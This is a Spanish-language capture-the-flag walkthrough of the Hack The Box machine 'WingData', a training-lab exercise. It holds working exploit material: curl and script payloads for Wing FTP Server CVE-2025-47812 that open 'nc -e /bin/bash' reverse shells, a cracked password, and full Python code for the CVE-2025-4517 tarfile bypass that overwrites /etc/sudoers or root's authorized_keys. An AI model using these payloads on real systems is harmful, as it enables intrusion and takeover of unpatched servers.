WingData
Plataforma: Hack The Box
Dificultad: Easy
🔗 Link de la máquina: https://app.hackthebox.com/machines/WingData

Reconocimiento
En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN wingdata.txt 10.129.5.251
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-14 16:30 -0300
Nmap scan report for 10.129.5.251
Host is up (0.19s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.99 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN wingdata.txt: Guarda los resultados en el archivo “wingdata.txt”.
Puertos descubiertos:
- 22/tcp - SSH (OpenSSH 9.2p1 Debian)
- 80/tcp - HTTP (Apache 2.4.66) → Redirige a
wingdata.htb
Agregamos el dominio al archivo /etc/hosts:
echo "10.129.5.251 wingdata.htb" | sudo tee -a /etc/hosts
Enumeración Web
Sitio Principal
Accedemos a http://wingdata.htb y encontramos la web de Wing Data Solutions, una plataforma de compartición de archivos encriptada.

Fuzzing de Virtual Hosts
Realizamos fuzzing de subdominios para descubrir virtual hosts adicionales:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://wingdata.htb -H "Host: FUZZ.wingdata.htb" -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
:: Method : GET
:: URL : http://wingdata.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.wingdata.htb
:: Filter : Response status: 301
ftp [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 355ms]
:: Progress: [19966/19966] :: Job [1/1] :: 173 req/sec :: Duration: [0:02:16] :: Errors: 0 ::
Subdominio encontrado: ftp.wingdata.htb
Agregamos al /etc/hosts:
echo "10.129.5.251 ftp.wingdata.htb" | sudo tee -a /etc/hosts
Wing FTP Server
Accedemos a http://ftp.wingdata.htb y encontramos un panel de Wing FTP Server v7.4.3.

La versión específica expuesta es clave: Wing FTP Server 7.4.3 es vulnerable a RCE no autenticado.
Explotación
CVE-2025-47812 - Unauthenticated RCE
Wing FTP Server <= 7.4.3 es vulnerable a inyección de código Lua mediante un null byte en el parámetro username durante el login. El servidor escribe el payload en un archivo de sesión que es ejecutado al acceder a /dir.html.
La vulnerabilidad se puede explotar de dos formas: de manera automatizada con un script público, o de manera manual replicando las peticiones HTTP directamente.
Método 1 — Automatizado (searchsploit)
Descargamos el exploit:
searchsploit -m 52347
Verificamos la ejecución de comandos:
python3 52347.py -u http://ftp.wingdata.htb -c "whoami" -v
[+] wingftp@wingdata.htb is vulnerable!
--- Command Output ---
wingftp
----------------------
RCE confirmado como usuario wingftp. Lanzamos reverse shell:
# Listener
nc -nlvp 4444
# Exploit
python3 52347.py -u http://ftp.wingdata.htb -c "nc 10.10.16.4 4444 -e /bin/bash" -v
connect to [10.10.16.4] from (UNKNOWN) [10.129.5.251] 40170
id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
Método 2 — Manual (curl)
Para entender exactamente qué ocurre, replicamos la explotación paso a paso.
¿Cómo funciona el bug?
El flujo de ataque tiene dos pasos:
- Inyección: POST a
/loginok.htmlcon un null byte (%00) en el username. El servidor valida el string hasta el\0(ve soloanonymous), pero escribe el string completo en el archivo de sesión — incluyendo el código Lua tras el null byte. - Ejecución: GET a
/dir.htmlcon elUIDde sesión obtenido en el paso anterior. El servidor lee el archivo de sesión correspondiente y ejecuta el Lua inyectado.
Los dos pasos deben ejecutarse lo más rápido posible seguidos, ya que la sesión expira en segundos.
Con el listener activo, encadenamos los dos pasos directamente con curl:
# Terminal 1 — Listener
nc -nlvp 4444
# Terminal 2 — Exploit manual
WUID=$(curl -si -X POST http://ftp.wingdata.htb/loginok.html \
--data 'username=anonymous%00]]%0dlocal+h+%3d+io.popen("nc+10.10.16.4+4444+-e+/bin/bash")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=' \
| grep -oP 'UID=\K[^;]+') && curl -s -b "UID=$WUID" http://ftp.wingdata.htb/dir.html

El primer curl hace el POST, extrae el UID del header Set-Cookie y lo guarda en $WUID. El segundo curl hace el GET con ese UID inmediatamente, disparando la ejecución del Lua en el servidor.
Nota:
UIDes una variable reservada en zsh. Usar un nombre distinto comoWUIDevita el errorbad math expression.
El segundo curl quedará colgado sin respuesta — es esperado, ya que io.popen bloquea esperando que nc termine. La conexión aparece en el listener.
Estabilización de la shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=bash
stty rows 38 cols 183
User Flag
Enumeración como wingftp
Exploramos el directorio de Wing FTP Server en /opt/wftpserver y encontramos los archivos de configuración de usuarios:
find /opt/wftpserver -name "*.xml"
/opt/wftpserver/Data/_ADMINISTRATOR/admins.xml
/opt/wftpserver/Data/_ADMINISTRATOR/settings.xml
/opt/wftpserver/Data/1/users/maria.xml
/opt/wftpserver/Data/1/users/steve.xml
/opt/wftpserver/Data/1/users/wacky.xml
/opt/wftpserver/Data/1/users/anonymous.xml
/opt/wftpserver/Data/1/users/john.xml
/opt/wftpserver/Data/1/settings.xml
En /etc/passwd identificamos el usuario del sistema wacky:
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
wingftp:x:1000:1000:WingFTP Daemon User,,,:/opt/wingftp:/bin/bash
wacky:x:1001:1001::/home/wacky:/bin/bash
Extracción del Hash
Leemos el XML del usuario wacky:
cat /opt/wftpserver/Data/1/users/wacky.xml
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
Identificación del Salt
En la configuración del dominio encontramos que las contraseñas usan SHA-256 con salt:
cat /opt/wftpserver/Data/1/settings.xml | grep -A1 -i salt
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
Cracking del Hash
El algoritmo es SHA-256(password + salt) → modo 1410 en hashcat:
echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hash.txt
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
Credenciales obtenidas:
- Usuario: wacky
- Contraseña: !#7Blushing^*Bride5
Acceso via SSH
ssh wacky@10.129.5.251

wacky@wingdata:~$ cat user.txt
1bf957a67e3345827d6f150ebd9ccd57

Escalada de Privilegios
Enumeración como wacky
sudo -l
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
wacky puede ejecutar un script Python como root. Revisamos el script y los permisos del directorio:
cat /opt/backup_clients/restore_backup_clients.py
ls -la /opt/backup_clients/
drwxr-x--- 4 root wacky 4096 Jan 12 08:43 .
drwxr-xr-x 4 root root 4096 Feb 9 08:19 ..
drwxrwx--- 2 root wacky 4096 Jan 12 08:32 backups
-rwxr-x--- 1 root wacky 2829 Jan 12 08:37 restore_backup_clients.py
drwxr-x--- 2 root wacky 4096 Jan 12 08:43 restored_backups
El script extrae archivos tar con filter="data" de Python 3.12.3, supuestamente seguro contra path traversal. Sin embargo, el directorio backups/ es escribible por wacky.
CVE-2025-4517 - Python tarfile filter bypass
Python 3.12.3 es vulnerable a un bypass del filter="data" mediante una cadena de symlinks que supera el límite PATH_MAX del sistema operativo.
¿Cómo funciona el filter=“data”?
Cuando Python extrae un tar con filter="data", valida cada symlink así:
symlink en el tar → ¿el path resuelto escapa el destino?
└─ usa os.path.realpath() para resolver
└─ si escapa → error
└─ si no escapa → ok, se extrae
El bug: PATH_MAX overflow
En Linux, os.path.realpath() usa un buffer interno de 4096 bytes (PATH_MAX). Si el path a resolver es más largo que eso, la función falla silenciosamente y devuelve un resultado incorrecto/truncado.
Esto crea una brecha:
- La validación usa
realpath()→ falla con path largo → dice “no escapa” (falso positivo) - La extracción procede sin re-validar → escribe donde el symlink realmente apunta
Construcción del exploit paso a paso
Fase 1 — Cadena de expansión (superar PATH_MAX)
comp = 'd' * 247 # directorio de 247 chars
steps = "abcdefghijklmnop" # 16 niveles
Se crean 16 pares de directorio + symlink encadenados:
ddd...247d/ ← directorio real
a → ddd...247d ← symlink al directorio
ddd...247d/
b → ddd...247d
...16 niveles...
Cuando realpath() intenta resolver a/ddd.../b/ddd.../c/..., expande cada symlink y el path acumulado alcanza ~3952 bytes (16 × 247).
Fase 2 — Symlink que supera PATH_MAX
linkpath = os.path.join("/".join(steps), "l" * 254)
# Path resultante al resolver: ~4220 bytes → supera 4096
l.linkname = "../" * len(steps) # apunta a la raíz /
Cuando Python valida este symlink, realpath() recibe un path de ~4220 bytes → overflow → falla y devuelve algo incorrecto → la validación dice “ok”. El symlink queda apuntando efectivamente a / sin ser detectado.
Fase 3 — Symlink de escape a /etc
e.linkname = linkpath + "/../../../../../../../etc"
Se encadena el symlink ya validado incorrectamente para apuntar a /etc. Como linkpath no fue validado correctamente, este tampoco lo es.
Fase 4 — Hardlink + sobreescritura de /etc/sudoers
# Hardlink: sudoers_link → escape/sudoers → /etc/sudoers
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
# Sobreescribir el hardlink = sobreescribir /etc/sudoers
content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
Los hardlinks en tar referencian otros miembros del mismo tar, no rutas externas, por lo que no son validados como “ruta que escapa”. Al escribir sobre el hardlink, el OS sigue la cadena y escribe en el archivo real: /etc/sudoers.
Exploit completo
Creamos el exploit:
cat > /tmp/exploit_cve.py << 'EOF'
import tarfile
import os
import io
comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("/opt/backup_clients/backups/backup_9999.tar", mode="w") as tar:
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps)
tar.addfile(l)
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../etc"
tar.addfile(e)
f = tarfile.TarInfo("sudoers_link")
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
tar.addfile(f)
content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
c = tarfile.TarInfo("sudoers_link")
c.type = tarfile.REGTYPE
c.size = len(content)
tar.addfile(c, fileobj=io.BytesIO(content))
print("[+] Tar malicioso creado")
EOF
python3 /tmp/exploit_cve.py
Ejecutamos el exploit mediante el sudo permitido:
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_pwn
Verificamos que /etc/sudoers fue sobreescrito:
sudo su -
Método Alternativo — Inyección de clave SSH en authorized_keys
En lugar de sobreescribir /etc/sudoers, podemos usar el mismo bypass para inyectar nuestra clave pública SSH directamente en /root/.ssh/authorized_keys y conectarnos como root sin contraseña.
Paso 1 — Generar el par de claves:
ssh-keygen -t rsa -f /tmp/id_rsa -N ""
cat /tmp/id_rsa.pub
Paso 2 — Crear el tar malicioso:
La diferencia respecto al método anterior es que escape apunta directamente a /root/.ssh/authorized_keys (no a /etc), y el hardlink ssh_trigger se usa para sobreescribir ese archivo con la clave pública:
cat > /tmp/exploit_ssh.py << 'EOF'
import tarfile
import os
import io
OUT_FILE = "/opt/backup_clients/backups/backup_1337.tar"
ssh_public_key = b"ssh-rsa AAAAB3Nza...TU_CLAVE_PUBLICA... wacky@wingdata\n"
comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open(OUT_FILE, mode="x") as tar:
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps)
tar.addfile(l)
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../root/.ssh/authorized_keys"
tar.addfile(e)
f = tarfile.TarInfo("ssh_trigger")
f.type = tarfile.LNKTYPE
f.linkname = "escape"
tar.addfile(f)
c = tarfile.TarInfo("ssh_trigger")
c.type = tarfile.REGTYPE
c.size = len(ssh_public_key)
tar.addfile(c, fileobj=io.BytesIO(ssh_public_key))
print("[+] Exploit para SSH generado:", OUT_FILE)
EOF
python3 /tmp/exploit_ssh.py
Paso 3 — Ejecutar la restauración:
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1337.tar -r restore_ssh
Paso 4 — Conectarse como root por SSH:
ssh -i /tmp/id_rsa root@wingdata.htb

Root Flag
root@wingdata:~# cat /root/root.txt

Máquina WingData de Hack The Box completada exitosamente.